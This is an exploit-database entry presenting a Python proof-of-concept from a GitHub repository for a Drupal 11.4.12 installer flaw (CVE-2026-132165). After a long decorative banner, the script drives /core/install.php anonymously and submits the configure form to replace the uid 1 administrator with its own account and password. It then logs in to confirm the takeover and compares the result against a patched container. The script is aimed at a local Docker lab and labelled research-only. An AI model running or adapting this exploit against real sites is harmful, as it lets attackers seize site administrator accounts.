Exploit database

GH-e5e8309bda450f45464a82379d60134f

abraxas/drupal-install-takeover

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-132165

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files7
abraxas/drupal-install-takeoverRevision ece95eaab565

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/poc.py

Suggested starting filePython · 16,875 bytes
#!/usr/bin/env python3
######################################################################################
#
#        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.
#       d88888 888  "88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b
#      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.
#     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  "Y888b.
#    d88P  888 888  "Y88b 8888888P"     d88P  888    d888b       d88P  888     "Y88b.
#   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       "888
#  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P
# d88P     888 8888888P"  888   T88b d88P     888 d88P   Y88b d88P     888  "Y8888P"
#
#                     888             d8888 888888b.    .d8888b.
#                     888            d88888 888  "88b  d88P  Y88b
#                     888           d88P888 888  .88P  Y88b.
#                     888          d88P 888 8888888K.   "Y888b.
#                     888         d88P  888 888  "Y88b     "Y88b.
#                     888        d88P   888 888    888       "888
#                     888       d8888888888 888   d88P Y88b  d88P
#                     88888888 d88P     888 8888888P"   "Y8888P"
#
#  Mail    : [email protected]
#
#  CVE: CVE-2026-132165 (Critical: 18/25)
#  Vendor: Drupal (Drupal Security Team)
#  Versions: Drupal 11.4.12 (fixed in 11.4.13)
#  Impact: Unauth site takeover via a resumed installer
#  Requires: install.php reachable; install_task not done; install_time set; loopback lab
#
######################################################################################
#
#  RESEARCH / EDUCATIONAL USE ONLY.
#  Do not run, deploy, or use this material against any host unless you have
#  explicit written permission from both the party hosting this repository
#  and the owner of the target systems.
#
######################################################################################

import os as _os
import shutil as _shutil
import sys as _sys
import builtins as _builtins

_ART = {"abraxas": ["        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.", "       d88888 888  \"88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b", "      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.", "     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  \"Y888b.", "    d88P  888 888  \"Y88b 8888888P\"     d88P  888    d888b       d88P  888     \"Y88b.", "   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       \"888", "  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P", " d88P     888 8888888P\"  888   T88b d88P     888 d88P   Y88b d88P     888  \"Y8888P\""], "labs": ["                     888             d8888 888888b.    .d8888b.", "                     888            d88888 888  \"88b  d88P  Y88b", "                     888           d88P888 888  .88P  Y88b.", "                     888          d88P 888 8888888K.   \"Y888b.", "                     888         d88P  888 888  \"Y88b     \"Y88b.", "                     888        d88P   888 888    888       \"888", "                     888       d8888888888 888   d88P Y88b  d88P", "                     88888888 d88P     888 8888888P\"   \"Y8888P\""]}
_CVE = "CVE-2026-132165"
_EMAIL = "[email protected]"

_RST = "\033[0m"
_BLD = "\033[1m"
_CYAN = (0, 255, 249)
_MAGENTA = (255, 0, 212)
_PINK = (255, 77, 224)
_GREEN = (57, 255, 20)
_GOLD = (255, 230, 0)
_AMBER = (255, 201, 70)
_RED = (255, 64, 96)
_MUTED = (140, 155, 175)
_INK = (232, 255, 248)
_RAIN = [
    (255, 77, 224), (255, 0, 212), (191, 95, 255), (91, 140, 255),
    (0, 210, 255), (0, 255, 249), (57, 255, 20), (180, 255, 70),
    (255, 230, 0), (255, 201, 70), (255, 122, 24), (255, 64, 96),
]


def _on():
    return not _os.environ.get("NO_COLOR")


def _rgb(r, g, b):
    if not _on():
        return ""
    return f"\033[38;2;{r};{g};{b}m"


def _paint(text, rgb, bold=False):
    if not text or rgb is None:
        return text or ""
    prefix = _rgb(*rgb) + (_BLD if bold else "")
    return "".join(ch if ch == " " else prefix + ch for ch in text)


def _box(inner, border):
    edge = _rgb(*border) + "║" + _RST
    return edge + " " + inner + _RST + " " + edge


def _rule(left, right, border, width):
    return _rgb(*border) + left + "═" * (width - 2) + right + _RST


def _split(text, left_end, right_start, left_rgb, right_rgb, mid_rgb=None, left_bold=False):
    return (
        _paint(text[:left_end], left_rgb, bold=left_bold)
        + _paint(text[left_end:right_start], mid_rgb)
        + _paint(text[right_start:], right_rgb)
    )


def _fit(left, right, width, fill=" "):
    gap = max(width - len(left) - len(right), 1)
    return (left + fill * gap + right)[:width].ljust(width)


def _lerp(a, b, t):
    return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))


def _rain(x, width):
    if width <= 1:
        return _RAIN[0]
    t = (x / (width - 1)) * (len(_RAIN) - 1)
    i = min(int(t), len(_RAIN) - 2)
    return _lerp(_RAIN[i], _RAIN[i + 1], t - i)


def _logo_line(line):
    width = max(len(line), 1)
    out = []
    quoted = False
    for x, ch in enumerate(line):
        if ch == " ":
            out.append(ch)
            continue
        quoted ^= ch == '"'
        if ch == '"':
            color = _AMBER if quoted else _GOLD
        elif quoted:
            color = _GOLD
        else:
            color = _rain(x, width)
        out.append(_rgb(*color) + ch)
    return "".join(out) + _RST


def _banner_width(cols):
    art = _ART["abraxas"] + _ART["labs"]
    art_w = max(len(row) for row in art)
    content_w = min(max(art_w, 88), max(cols - 4, 40))
    box_w = content_w + 4
    if box_w > cols:
        content_w = max(cols - 4, 20)
        box_w = content_w + 4
    return content_w, box_w


def _title_row(width):
    left, right = " ABRAXAS LABS", "analyze · reverse · disclose"
    text = _fit(left, right, width)
    return _split(text, len(left), width - len(right), _CYAN, _MUTED, left_bold=True)


def _cve_row(width):
    left, right = " " + _CVE, "authorized research only"
    rest = max(width - len(left) - len(right), 3)
    text = (left + " local lab ".center(rest)[:rest] + right)[:width].ljust(width)
    return _split(text, len(left), width - len(right), _PINK, _GREEN, mid_rgb=_MAGENTA, left_bold=True)


def _mail_row(width):
    left, right = " Mail", _EMAIL
    text = _fit(left, right, width)
    return _split(text, len(left), width - len(right), _GOLD, _CYAN)


def _status_line():
    marks = {"[": _GREEN, "]": _GREEN, "*": _GREEN, "·": _PINK, "#": _PINK}
    text = "[*]  abraxas!null ready on #labs"
    return "".join(ch if ch == " " else _rgb(*marks.get(ch, _INK)) + ch for ch in text) + _RST


def print_abraxas_banner():
    cols = _shutil.get_terminal_size((120, 30)).columns
    content_w, box_w = _banner_width(cols)
    lines = [
        _rule("╔", "╗", _CYAN, box_w),
        _box(_title_row(content_w) + _RST, _CYAN),
        _rule("╠", "╣", _MAGENTA, box_w),
        _box(_cve_row(content_w) + _RST, _MAGENTA),
        _rule("╠", "╣", _MAGENTA, box_w),
    ]
    for glyph in _ART["abraxas"] + _ART["labs"]:
        vis = glyph[:content_w].ljust(content_w)
        lines.append(_box(_logo_line(vis), _MAGENTA))
    lines.extend([
        _rule("╠", "╣", _MAGENTA, box_w),
        _box(_mail_row(content_w) + _RST, _MAGENTA),
        _rule("╚", "╝", _CYAN, box_w),
        " " + _status_line(),
    ])
    _sys.stdout.write("\n".join(lines) + "\n\n")
    _sys.stdout.flush()


def _message_color(s):
    low = s.lower()
    stripped = s.lstrip()
    if low.startswith("success"):
        return _rgb(*_GREEN) + _BLD
    if low.startswith("fail"):
        return _rgb(*_RED) + _BLD
    if "user_id" in low:
        return _rgb(*_AMBER) + _BLD
    if low.startswith("status=") or "status=" in low[:20]:
        return _rgb(*_CYAN)
    if low.startswith("carrier"):
        return _rgb(*_MAGENTA)
    if stripped[:1] in "{[":
        return _rgb(*_GOLD)
    return _rgb(*_INK)


def _cprint(*args, **kwargs):
    sep = kwargs.get("sep", " ")
    s = sep.join(str(a) for a in args)
    dest = kwargs.get("file", _sys.stdout)
    if dest is not _sys.stdout and dest is not _sys.stderr:
        _PRINT(*args, **kwargs)
        return
    extra = {k: v for k, v in kwargs.items() if k != "sep"}
    _PRINT(_message_color(s) + s + _RST, **extra)

print_abraxas_banner()
_PRINT = _builtins.print
_builtins.print = _cprint

"""Loopback proof for CVE-2026-132165 on Drupal 11.4.12 vs 11.4.13.

The lab plants install_task=install_install_profile on a finished site and
leaves install_time set. That is the uncommon already-installed state.
Anonymous /core/install.php then resumes. The oracle is uid 1's name.
"""

import html.parser
import re
import subprocess
import urllib.error
import urllib.parse
import urllib.request
from dataclasses import dataclass
from http.cookiejar import CookieJar
from pathlib import Path

LABEL = "CVE-2026-132165"
WITNESS = "cve132165"
WITNESS_MAIL = "[email protected]"
PASSWORD = "LabWitness-132165"
ROOT = Path(__file__).resolve().parent
REPORT = ROOT / "poc-last-run.txt"
START = "/core/install.php?langcode=en&profile=standard"


@dataclass
class Page:
    """One installer response."""

    status: int
    url: str
    body: str
    title: str
    fields: dict[str, str]


class _FormParser(html.parser.HTMLParser):
    """Collect input values and the title."""

    def __init__(self) -> None:
        super().__init__(convert_charrefs=True)
        self.title = ""
        self.fields: dict[str, str] = {}
        self._in_title = False

    def handle_starttag(self, tag: str, attrs: list[tuple[str, str | None]]) -> None:
        values = {key: (value or "") for key, value in attrs}
        if tag == "title":
            self._in_title = True
        if tag != "input":
            return
        name = values.get("name")
        if not name:
            return
        kind = values.get("type", "text")
        if kind == "checkbox" and "checked" not in values:
            return
        if kind in {"submit", "button", "image"}:
            return
        self.fields[name] = values.get("value", "")

    def handle_endtag(self, tag: str) -> None:
        if tag == "title":
            self._in_title = False

    def handle_data(self, data: str) -> None:
        if self._in_title:
            self.title += data


def _compose(*args: str) -> subprocess.CompletedProcess[str]:
    return subprocess.run(
        ["docker", "compose", *args],
        cwd=ROOT,
        check=False,
        text=True,
        capture_output=True,
    )


def read_uid1(service: str) -> str:
    """Return name, mail, install_task, and install_time separated by tabs."""
    result = _compose("exec", "-T", service, "php", "/usr/local/bin/uid1.php")
    if result.returncode != 0:
        detail = (result.stderr or result.stdout).strip().splitlines()
        tail = detail[-1] if detail else "uid1 helper failed"
        raise RuntimeError(tail)
    line = result.stdout.strip().splitlines()[-1]
    return line


def _opener() -> urllib.request.OpenerDirector:
    return urllib.request.build_opener(urllib.request.HTTPCookieProcessor(CookieJar()))


def _fetch(
    opener: urllib.request.OpenerDirector,
    url: str,
    data: dict[str, str] | None = None,
) -> Page:
    payload = None if data is None else urllib.parse.urlencode(data).encode()
    request = urllib.request.Request(url, data=payload)
    try:
        with opener.open(request, timeout=180) as response:
            body = response.read().decode("utf-8", "replace")
            status = response.status
            final = response.geturl()
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", "replace")
        status = exc.code
        final = exc.geturl()
    parser = _FormParser()
    parser.feed(body)
    return Page(status, final, body, " ".join(parser.title.split()), parser.fields)


def _snippet(body: str) -> str:
    text = re.sub(r"<[^>]+>", " ", body)
    text = " ".join(text.split())
    return text[:240]


def drive(base: str) -> tuple[list[str], str]:
    """Walk the installer. Return page notes and the last body snippet."""
    opener = _opener()
    url = base + START
    notes: list[str] = []
    page = _fetch(opener, url)
    for _ in range(12):
        form_id = page.fields.get("form_id", "")
        notes.append(f"{page.status} {form_id or '-'} {page.title}")
        if "already installed" in page.body.lower():
            return notes, _snippet(page.body)
        if form_id == "install_configure_form":
            posted = dict(page.fields)
            posted["site_name"] = "Lab"
            posted["site_mail"] = "[email protected]"
            posted["account[name]"] = WITNESS
            posted["account[mail]"] = WITNESS_MAIL
            posted["account[pass][pass1]"] = PASSWORD
            posted["account[pass][pass2]"] = PASSWORD
            posted["date_default_timezone"] = "UTC"
            posted.pop("enable_update_status_module", None)
            posted.pop("enable_update_status_emails", None)
            posted["op"] = "Save and continue"
            page = _fetch(opener, page.url, posted)
            notes.append(f"{page.status} after-configure {page.title}")
            return notes, _snippet(page.body)
        if form_id == "install_select_language_form":
            posted = dict(page.fields)
            posted["langcode"] = "en"
            posted["op"] = posted.get("op", "Save and continue")
            page = _fetch(opener, page.url, posted)
            continue
        if form_id == "install_select_profile_form":
            posted = dict(page.fields)
            posted["profile"] = "standard"
            posted["op"] = posted.get("op", "Save and continue")
            page = _fetch(opener, page.url, posted)
            continue
        return notes, _snippet(page.body)
    return notes, _snippet(page.body)


def login(base: str) -> str:
    """Try the new maintenance account. Return a short result."""
    opener = _opener()
    page = _fetch(opener, base + "/user/login")
    if "user_login_form" not in page.body and page.fields.get("form_id") != "user_login_form":
        return f"login-form-absent status={page.status} title={page.title}"
    posted = dict(page.fields)
    posted["name"] = WITNESS
    posted["pass"] = PASSWORD
    posted["op"] = "Log in"
    result = _fetch(opener, page.url, posted)
    if WITNESS in result.body or "Log out" in result.body:
        return f"login=yes status={result.status}"
    return f"login=no status={result.status} title={result.title}"


def main() -> int:
    """Prove the vulnerable resume and the patched refusal."""
    lines = [
        "plant=install_install_profile install_time=kept",
        "how=lab planted the stuck task after a finished standard install",
        "images=vuln=drupal:11.4.12-apache patched=drupal:11.4.13-apache",
        "ports=127.0.0.1:18230,127.0.0.1:18231",
        "class-target=site takeover via anonymous installer resume",
    ]
    outcome = "FAIL"
    try:
        before_v = read_uid1("vuln")
        before_p = read_uid1("patched")
        lines.append(f"uid1-before vuln={before_v}")
        lines.append(f"uid1-before patched={before_p}")
        vuln_notes, vuln_snip = drive("http://127.0.0.1:18230")
        patched_notes, patched_snip = drive("http://127.0.0.1:18231")
        after_v = read_uid1("vuln")
        after_p = read_uid1("patched")
        lines.append("vuln-pages=" + " | ".join(vuln_notes))
        lines.append("patched-pages=" + " | ".join(patched_notes))
        lines.append(f"uid1-after vuln={after_v}")
        lines.append(f"uid1-after patched={after_p}")
        lines.append("vuln-snippet=" + vuln_snip)
        lines.append("patched-snippet=" + patched_snip)
        vuln_name = after_v.split("\t", 1)[0]
        patched_name = after_p.split("\t", 1)[0]
        takeover = vuln_name == WITNESS and patched_name == "origadmin"
        lines.append(login("http://127.0.0.1:18230") if takeover else "login=skipped")
        lines.append("rce=no")
        if takeover:
            outcome = f"SUCCESS {LABEL} takeover=yes rce=no"
        else:
            outcome = f"FAIL {LABEL} takeover=no rce=no"
    except (OSError, RuntimeError, urllib.error.URLError) as exc:
        lines.append(f"error={exc}")
        outcome = f"FAIL {LABEL} takeover=no rce=no"
    lines.append(outcome)
    REPORT.write_text("\n".join(lines) + "\n", encoding="utf-8")
    print("\n".join(lines))
    return 0 if outcome.startswith("SUCCESS") else 1


if __name__ == "__main__":
    raise SystemExit(main())